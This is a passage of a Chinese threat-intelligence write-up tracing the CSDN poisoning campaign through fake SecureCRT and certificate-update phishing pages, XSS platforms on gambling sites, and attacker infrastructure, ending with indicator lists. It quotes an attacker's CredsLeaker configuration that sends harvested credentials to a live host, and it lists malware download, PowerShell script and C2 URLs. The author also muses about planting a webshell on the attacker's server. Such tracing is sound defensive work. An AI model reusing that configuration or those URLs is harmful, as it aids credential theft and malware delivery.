CSDN投毒是谁干的(一)

CSDN投毒是谁干的(一)

以及一个没有出现过的 C2 107.148.62.100:8084

其中 ssh.0523qyfw[.]com 已经无法打开,但是 https://scrt1.nyazz[.]com/ 还是可以打开的,是一个假冒的 SecureCRT 官网...

也是类似的网页模板。

访问 https://scrt1.nyazz[.]com/download.php 直接返回 https://scrt1.nyazz[.]com/SecureCRT.zip , 是一个12月18日修改的 SecureCRT 压缩包。

exe 程序没看到有什么问题,但是相关目录下存在一个10月19日修改过的 libEGL.dll 比较可疑。

(这里样本分析不再赘述,后面的样本信息表格中汇总了关联逻辑关系。)

跟进到这里我开始感觉到奇怪,这些假冒官网的粗糙程度很像银狐,但是 CSDN 这次的投毒事件的细腻程度多少带点 A 里 A 气啊,这里的样本拓展是不是哪里有点错误?

如果这两个假冒官网真的是攻击者的基础设施,那么意味着攻击者没事也跟银狐一样弄点假冒网站搞点投毒?投毒的话似乎目标就无法固定,只能买推广然后广撒网了吧?

第二次定性转折 - 红队?接下来我扫了下 web 目录,发现了一个 config.php。

(www.7zei[.]com 解析到 154.19.200.214,后来发现这应该是台多 IP 机器,154.19.200.212 = 154.19.200.213 =154.19.200.214,不管访问哪个都等于访问 https://www.7zei[.]com)

看到这里是不是会疑惑这是啥玩意。

我首先确认了这个 cl_reader.php 确实存在,直接访问会提示你缺少参数,但是 creds.csv 不存在,看上去似乎是接收钓取到的凭据的回传脚本?跟老外玩的那一套比较像。

我去 github 搜了一下这个脚本的名字,发现原来是一个后渗透的时候钓取目标机器账号密码的项目,还支持域环境。

可以看到项目有个配置文件 config.cl,我把 7zei 的 config.cl 下载下来跟原项目的对比了一下,发现这个配置文件还真是一个投入生产使用的正式配置。

攻击者在受害者电脑上执行 CredsLeaker.ps1,脚本来 config.cl 拉取回弹窗的配置,受害者输入的账号密码被回传到 cl_reader.php。

攻击者没有修改保存钓鱼成果的 txt 文件(这点也跟老外那一套很像),可以直接访问到,看密码似乎都是真实密码。

最一开始看到配置文件 config.php 这里狂喜,我寻思把 filename 改成 1.php,直接给他写个 shell 进去。

结果仔细看完项目,发现这里的配置是写死了去修改配置 config.cl 的,是受害者机器上执行弹窗的配置,所以修改这里顶多能给受害者弹提醒 "不要输入!"。

$Caption = 'Sign in' //弹框标题$Message = 'Enter your credentials' //弹框说明$Server = "https://www.7zei.com/cl_reader.php?" //回传地址$Port = "80"$delivery = "https"$filename = "\cl_loot\creds.csv" //本地缓存文件$usblabel = "USB_LABEL"$mode = "dynamic"$timer = $null在 VT 上搜索 www.7zei[.]com 也能关联到这几个文件,其中 cl_params.ps1 的hash与 https://www.7zei[.]com/config.cl 是对应的,而 lolz.ps1 与 https://www.7zei[.]com/CredsLeaker.ps1 的hash是对应的。

根据 lolz.ps1 还能追踪到一个新的样本 git-update.exe。

起初我以为这玩意不是自动化的,是攻击者有需要的时候调用一下子,通过 git-update.exe 的分析可以大致看出来拉取脚本并调用回传的过程,这么看的话钓取用户密码这部分功能有点像是自动化完成的(或者是手动执行的自动插件?)。

至此,攻击者的身份从极具 APT 感觉的神秘黑客,到 low 了吧唧的银狐黑客,又增加了一点红队的色彩。

一般来说类似银狐这种一股脑想办法让你上线这种黑客是比较常见的,这种钓密码的方式多少带点后渗透的意思了,毕竟现在能直接抓出来密码的机器越来越少,攻击者也许是为了下一步利用密码继续深入渗透?

第三次定性转折 - 菠菜猎人ever?根据奇安信文章中曝光的钓鱼页面特征 "上游签发证书校验失败" 字符串,进行网络测绘检索。

可以找到 sslupdate[.]net (47.239.5.111)。

这个域名比较特殊,并没有出现在奇安信的文章中,没记错的话在我最开始溯源的时候也还没有被奇安信 ti 标记。

域名最开始可以直接访问,https://sslupdate[.]net/index.html 就是钓鱼页面,点击更新证书文件就会去拉取 https://analyzev.oss-cn-beijing.aliyuncs.com-cn-beijing.aliyuncs[.]com/update.exe 。

后来 https://sslupdate[.]net 被攻击者关闭,没记错的话攻击者当时连 https://47.239.5.111 一起关了,后来过了几天又偷偷把 https://47.239.5.111 打开了,现在访问 https://47.239.5.111 仍然可以看到钓鱼页面。

页面顶部包含一个 saved from 标记, ,说明这个页面是攻击者通过 EDGE 浏览器打开保存在桌面的html文件。很可惜,攻击者这次又没有暴露实名或者 ID。

这个特征本来是 IE 浏览器的特征,后来 EDGE 保留了这个特性,有时候这里可以追溯到一些信息。

另外这个页面当中还包含一个很有意思的域名信息:c.flash[.]ec ,域名算得上是靓号域名,不仔细很容易错过。

并且出现在这个位置也很奇怪,也不太像是替换的时候出现了失误,不知道攻击者是出于什么操作把这个域名放在这里。

对这个域名进行拓线分析,发现所有域名都绑在 Cloudflare上,所以 IP 没什么参考价值。

先是 fox 发现 x.flash[.]ec 是一个 XSS 平台的后台,使用了开源的 Onexss。

注意看这个 XSS 平台的 title 是 FromXS ,当时没有留意这个细节,以为是默认的标题,后面它还会再出现。

而真正让我又开始惊讶的是,fofa搜索 l.flash[.]ec 的结果是一大批菠菜网站。

由于flash的域名已经不解析了所以也无法拉取xss payload 回来了

后面的数字编号 6647 可能代表着一个项目。

搜索 "l.flash[.]ec" && body!="6647" 可以发现其他项目。

由于好几个后台的 URI 都是 /public.login.do ,所以很像是一个漏洞打了一批同框架的后台。

但是多翻几个又发现这些网站似乎也并不全是同一套源码。

搜索 web.flash[.]ec 有一个 flash.js,已经无法访问到了。

而 v.flash[.]ec 是一个basic认证页面。

如果 flash.ec 确实也是攻击者的资产的话,那么到这里黑客的身份似乎又加了一层 Buff —— 菠菜猎人。

起初看到 CredsLeaker 的时候我有想过,是不是国内的某些大厂红队打算拿 CSDN 供应链打一些目标来着,只不过玩的有点大被曝光了,而这些基础设施都是他们用来打 hw 用的。

但是一般正经的大厂也不会打那么多菠菜吧,反诈公司有可能会打菠菜,但是不太可能会去打 CSDN。

那么除了反诈公司还有谁会打这么多菠菜呢?洗盘子黑吃黑的?友商?

比较奇怪的是这些域名现在都无法访问了,xss 的 payload 都还在,是这些网站都已经没有价值了么?

第四次定性转折 - 菠菜猎人now一开始跟进 flash[.]ec 发现菠菜之后就继续分析其他 ioc 去了,因为都没办法访问了,就没有再继续深入。

后来写完回了检查的时候有了新的发现,新发现源于互联网资产测绘平台的功能差异。

之前搜索 "上游签发证书校验失败" 字符串是用 fofa 搜索的,只能搜索到 sslupdate[.]net 的 index。后来我用奇安信的 Hunter 搜索的时候发现结果多出来一些。

分析发现原来是奇安信的 Hunter 爬取 web 的时候解析 js 比较彻底,XSS payload也会被解析完整,这就导致如果 payload 包含一个钓鱼页面,那么这个钓鱼页面的源码也会被采集到 response 结果当中,而 fofa 和 quake 就不会(非拉踩,各有长处)。

所以当你使用hunter搜索 "上游签发证书校验失败" 的时候,你就能发现除了 sslupdate[.]net 还有不少被挂了钓鱼 js 的菠菜后台,多数的 URI 似乎是还是我们刚刚见过的 /public.login.do 。

但这次域名变了,不再是 flash[.]ec ,而是一个新的域名 l.xn--y7aa[.]cc 。

因为包含不少历史数据和重复数据,所以实际有效的结果没有显示的那么多。

打开一个页面分析了一下,不难看出来 L 子域名是用来托管 XSS payload,C 子域名用来托管钓鱼模板,最终木马托管在阿里云 OSS 上。

payload为:https://l.xn--y7aa[.]cc/6647

拉取的假冒地址为:https://c.xn--y7aa[.]cc/ChromeUpdate.html

oss托管的木马地址为:https://applow.oss-cn-hongkong.aliyuncs[.]com/ChromeSetup.zip

简单看了几个站似乎都是一样的。这个钓鱼模板跟 CSDN 那个不能说是很相似,也只能说是一毛一样。

这个域名注册的其实很讲究,选择了一个模仿 "qq" 的同形异义符。

不过貌似现在对一般的浏览器效果不咋滴,直到我拿到VT搜才发现它是模仿的 qq。

这个域名也都挂了 cloudflare,结合这相似的子域名命名法,我们直接大胆猜测,这域名有没有可能就是 flash 的继承者。

对这个域名进行简单的信息搜集,就可以发现 x.xn--y7aa[.]cc 也是xss平台的后台地址,用的也是onexss,而平台名字也自定义为 "FromXS"。

实际上fofa直接搜索 title="FromXS" 也能把它搜出来,当时看到标题没多想,以为是这套服务默认的。

v.xn--y7aa[.]cc 也是个401认证。

而子域名 l.xn--y7aa[.]cc 就是拉取xss平台payload的域名。a、b、c、d.xn--y7aa[.]cc 这些子域名(泛解析)都是拉取用来展示给受害者的钓鱼模板用的。

除了chrome的钓鱼页面,还发现了一款模仿微软更新根证书的页面,a、b、c、d.xn--y7aa[.]cc 子域名都可以访问到。

页面模板:https://c.xn--y7aa[.]cc/microsoft/update.html

oss托管的木马地址为:https://applow.oss-cn-hongkong.aliyuncs[.]com/MicrosoftEdgeSetup.zip

可见的域名全部都是套了 cloudflare 的,当然 onexss 这个项目本身也是建议在 cloudflare 上运行。

但是在fofa搜索的时候发现了一个比较有趣的信息,在 154.201.80.171:8443 (IP实际是香港的)上配置的cobaltstrike曾经在 2024-11-01 被扫描到过,其中c2配置解析的C2 server是 "C2Server : o.xn--y7aa.cc,/ak.js"。

这属于比较典型的 "web 服务挂 CDN,但是证书配置不规范导致被测绘到" 真实IP没藏住的案例。

不过8443端口对应的web服务已经不开放。

甚至端口都不开了。

这一小节结束,攻击者的画像新增元素:菠菜猎人(现役)、喜欢用Onexss、可能玩过CobaltStrike、喜欢用阿里云OSS托管木马、拥有疑似未公开的 chrome、微软 钓鱼模板。

钓鱼模板的深入溯源由于这款 chrome 证书更新和微软的钓鱼模板都没有在市面上出现过,github 搜索关键字也没有搜到,所以把时间线拉长搜索 body 和 title 的关键字,有部分新发现。

2023年9月,域名 freessl.freevar[.]com,钓鱼链接指向 http://38.6.184.125/error/sign.zip 。

这个结果被收录的非常少,不确定是因为开放时间比较短还是有其他原因。

38.6.184.125 这个IP目前除了 ssh 还开放了一个灯塔 web,有理由怀疑背后的运营者是网络安全相关人员。

并且 VT 上这个 IP 关联大量的疑似测试用途的样本,样本活跃时间从23年6月到24年6月,其中很可能就有钓鱼页面中的 sign.zip。

样本几乎都是向 IP 发起 http 请求,看uri疑似测试用途。

其中有个样本似乎还是 Supershell 的🐎,就很国产红队。

但是除此之外没有其他证据表明 38.6.184.125 跟 CSDN 事件的样本、网络资源有关联,除非有手段能反推回去或者直接定位到相关人,不然该 IP 只能作为一个疑似相关人的嫌疑IP。

除 38.6.184.125 之外hunter上还能找到三个有嫌疑的IP。

其中 180.76.161.95 是 chromium.hk.cn 的解析IP,chromium.hk.cn 的页面似乎保存自chrome的报错页面。

chromium.hk.cn 也挂过 cloudflare。

通过搜到的域名看,被挂 chromium.hk.cn 似乎不是bc相关的资源。

而103.43.16.195 和 144.48.240.1 的钓鱼页面中的下载地址都指向chromium.hk.cn。

但是仔细看下来这套模板跟本次事件中出现的模板源码又不太相同,本次出现的源码没有这些 cookie 判断逻辑。

到这里钓鱼模板这条线基本就没有什么新的线索了。

当然了,说到底上面这两个 XSS 平台也不见得就是 CSDN 这次的攻击者本人的,仅仅靠一个忘记删除的域名产生的关联比较弱,也许是某些大厂内部攻击平台的钓鱼页面在流传出来的时候不小心带上的呢,这些可能性都是存在的。

分析一下func.js钓鱼页面的区别前面说到 https://sslupdate[.]net 被关闭,在攻击者关闭这个 web 之前,可以访问到 https://sslupdate[.]net/func.js 。

后来攻击者关闭服务,过了几天偷偷打开服务的时候,sslupdate[.]net 是无法解析的,但是 https://47.239.5.111/func.js 还是可以访问到的。

但是现在攻击者不知道啥时候把 func.js 给删除掉了,只保留了 index.html。

func.js 这个 URI 只在 https://update.sslcsdn.com/func.js 这里出现过, https://update.sslcsdn.com/func.js 的用途是为经过 jquery-statistics.js 筛选过后的 IP 展示钓鱼页面。

但是在分析 https://sslupdate[.]net/func.js 这里下载到的 func.js 这个文件的时候,发现这个文件似乎既包含筛选 IP 列表的功能,又包含返回钓鱼 html 页面的功能。

并且重要的是 jquery-statistics.js 是被混淆过的,func.js 没有被混淆。

钓鱼 html 被编码在下面一坨里。看上去这个版本的方案是打算请求 https://update.sslcsdn[.]com/checkip?ip= 来二次判断来源 IP 是否在白名单里,如果在白名单的话才返回钓鱼网页。

把编码的 html 解码还原之后,和 https://update.sslcsdn[.]com/index.html 对比发现,编码的 html 不是被保存过的(没有saved标签),另外就是木马的下载地址似乎也被修改过了,从 sslcsdn 下载修改为去阿里云OSS下载。

看上去 func.js 里的这个编码版本要么是攻击者用来做测试的版本,要么是前期投毒行动时没有被捕捉到的版本。

IP列表的区别一开始 fox 说 func.js 是未混淆版的,只顾着看混淆没有留意 js 里面的 IP 列表,后来回来梳理的时候才发现 func.js 跟 jquery-statistics.js 的 IP "白名单" 是不一样的。

用正则提取 jquery-statistics.js 当中的 IP 地址去重后可以得到 179 个IP地址,而 func.js 只包含 12 个 IP 地址(其中有一个C)。

这马上让我开始警觉起来,有没有可能这些 IP 地址是攻击者自己的 IP 地址,而这个 js 是他们前期自己测试使用的呢?

我对两边的 IP 做了一下对比,发现 func.js 当中黄色框这部分 IP 是 jquery-statistics.js 没有再出现过的,红色框 IP 是比较可疑的地址。

其中 8.218.160.70:7000 在11月底开放过 frp 服务。

使用受害者的 IP 在 VT 基本都可以搜索出来本次事件中的 js 样本(因为js里面包含这个IP),但是 8.218.160.70、38.181.72.101没有关联出任何 js 样本。

8.218.160.70 实际上在我们获取到的 jquery-statistics.js 当中,也有可能是我们这个版本的 js 没有被上传 VT。

但是 38.181.72.101 在整个事件分析当中确确实实只出现了这一次,Cogent 的 IP 却出现了多次。

另外 116.213.40.49 这个 IP 虽然关联出了好几个js样本,但是有一个C2 116.213.40.186 跟它同C段。

至于黄色框里的 IP 为什么没有在 jquery-statistics.js 再次出现,我不确定是因为这些人已经中招,没有必要再放进去,还是有其他的原因。

JS版本的区别分析到 IP 地址的时候我才突然意识到,js 文件是随时可以变化的,所以攻击者被抓取到的 js 当中的攻击目标 IP 清单也不一定完整。

这就是为什么我在 VT 根据受害者的 IP 搜索关联 js 样本的时候关联出了好几个版本的 js,结合 jquery-statistics.js 当中比较可疑的境外 IP ,我对几个比较有代表性的 js 样本做了一下关联梳理。

可以看到 js 的大小有很多版本,并且每个版本当中同时包含的境外 IP 都不一样。

对上面红黄框出来的这几个IP进行分析时发现,220.191.249.188 能关联出三个版本的js样本,但是这三个样本似乎都不是 https://sslupdate[.]net/func.js,因为这个版本的js当中直接内嵌了假冒证书的html,不用再去远端加载,所以里面并不包含 https://update.sslcsdn[.]com/func.js ,包含的是 https://update.sslcsdn[.]com/checkip?ip=。

并且由于这个js内嵌了BASE64编码后的html,所以有172kb大,而我们拿到的 jquery-statistics.js 才8kb。

220.191.249.188 关联出的三个 js 当中都是带有 https://update.sslcsdn[.]com/func.js 的版本。

搜索这些 IP 可以发现有多个不同的 js 样本,猜测可能是在有部分IP上线之后,攻击者调整js当中的IP地址导致的版本更新?

但是 106.39.147.146 可以关联到 9 月份和 10 月份的 js,说明它可能是处于比较前期的受害者(或攻击者本人测试)。

所以说如果不是攻击者自己上传 VT 测试免杀的话,实际用于攻击的 js 很可能是多版本的,IP出口不在名单里有可能是已经中招了被删掉了,或者攻击者拿到了新的目标 IP 不断往 js 当中新增,动态调整攻击目标。

有的 js 样本可以关联出 https://analyze.sogoudoc[.]com/func.js

不过这部分分析很难得出什么起决定性作用的结论,只是根据 IP 的包含情况做的推测。

第一部分先发到这里,未完待续。

IOC为了方便用得上的人正常放假过年,就先把所有的 ioc 发出来了,有的 ioc 文章的 “剧情推进” 可能还没有关联到。

C2 木马通信 ioc,有连接基本可以肯定已经被控,这部分比较适合 NTA 设备回溯。

107.148.61.185:808445.205.2.101:8848103.112.98.83:8848116.213.40.186:8848107.148.62.90:808438.47.220.216:8848154.19.200.133:8087107.148.62.100:8084154.19.200.133:8086107.148.61.127:808447.242.214.157:8084107.148.50.237:80848.217.208.228:8084奇安信 《最大IT社区CSDN被挂马,CDN可能是罪魁祸首?》文章中的 ioc 重发,有些目前还活着。

update.sslcsdn.comfix-ssl.com47.243.177.243:443analyze.sogoudoc.com107.148.62.90:443107.148.61.185:80848.217.107.66:443csdnssl.comsogoucache.comsslcsdn.comsogoudoc.comflash-update.comcentos.ws45.205.2.101:8848103.112.98.83:8848sslupdate.organalyzev.oss-cn-beijing.aliyuncs.comupdateboot.comntpfix.com追踪恶意样本过程涉及到的网络 ioc(仅样本关联),有些可能是无差别钓鱼的类型关联到的,也可能有重复,所以这部分噪音比较大。

45.205.2.101:8848 (server.centos.ws)https://fix-ssl.com/aliyunosshttps://update.sslcsdn.com/runstream47.243.177.243:443 (update.sslcsdn.com)107.148.62.90:443 (fix-ssl.com)https://analyzev.oss-cn-beijing.aliyuncs.com/aliyunossinternalserver.centos.ws116.213.40.186:88488.141.181.246:443 (analyzev.oss-cn-beijing.aliyuncs.com)107.148.62.90:8084 (fix-ssl.com)https://update.sslcsdn.com/runhttps://www.7zei.com/wasdsfas154.19.200.214:443 (www.7zei.com)http://154.19.200.133:8087/count [POST]https://scrt1.nyazz.com/MobServe.exehttps://ssh.0523qyfw.com/MobServe.dll216.83.52.145:443 (scrt1.nyazz.com)216.83.52.155:443 (ssh.0523qyfw.com)154.19.200.133:8087107.148.62.100:8084http://154.19.200.133:8086https://m.7zei.com/CredsLeaker.ps1https://m.7zei.com/update.ps1https://www.fix-ssl.com/startup.ps1https://www.7zei.com/cl_reader.phphttps://www.7zei.com/config.clhttps://scrt.95271.pw/chrome.phphttps://scrt1.nyazz.com/Mobnew64new.binscrt.nyazz.com107.148.62.100118.107.29.172 (scrt1.nyazz.com)https://ssh.0523qyfw.com/winscp216.83.52.155 (ssh.0523qyfw.com)107.148.62.100:8084 (107.148.62.100)https://scrt1.nyazz.com/dfMob2https://scrt1.nyazz.com/pslist64mob.dllscrt.95271.pw118.107.29.172:443 (scrt1.nyazz.com)http://107.148.62.100:8084/?a=w64&h=107.148.62.100&t=ws_&p=8084http://107.148.62.100:8084/https://www.61xdm.com/wmobhttps://www.i5iii.com/insert107.148.51.200:443 (www.61xdm.com)GET http://107.148.62.100:8084/ 101https://ssh.0523qyfw.com/mamami107.148.61.127:8084ssh.0523qyfw.comhttps://scrt1.nyazz.com/SecureCrtServe.exehttps://scrt1.nyazz.com/dfSrc1https://scrt1.nyazz.com/pslist64.dll107.148.61.127216.83.52.155http://47.242.214.157:8084/http://47.242.214.157:8084/?a=w64&h=47.242.214.157&t=ws_&p=8084https://www.61xdm.com/47http://47.242.214.157/aliyunoss111147.242.214.157:8047.242.214.157:8084107.148.62.90:8084154.19.200.214:443www.7zei.comm.7zei.com216.83.52.145:443scrt1.nyazz.com216.83.52.155:443118.107.29.172:443107.148.51.200:443www.61xdm.com154.19.200.133:8086http://154.19.200.133:8087/counthttps://jpbhb.com/shttps://jpbhb.com/updatehttps://microsoftstore.oss-cn-beijing.aliyuncs.com/50237?ts=1736924067https://azurex-resource.oss-cn-beijing.aliyuncs.com/47http://47.242.214.157/8.217niuniu

相关推荐

2018俄罗斯世界杯揭幕战 俄罗斯5
外勤365系统

2018俄罗斯世界杯揭幕战 俄罗斯5

📅 07-02 👁️ 3623
各无线通信技术有哪些?各有什么优缺点
外勤365系统

各无线通信技术有哪些?各有什么优缺点

📅 07-29 👁️ 6898
震撼!世界杯预选赛战火重燃,谁将晋级?
外勤365系统

震撼!世界杯预选赛战火重燃,谁将晋级?

📅 08-02 👁️ 8238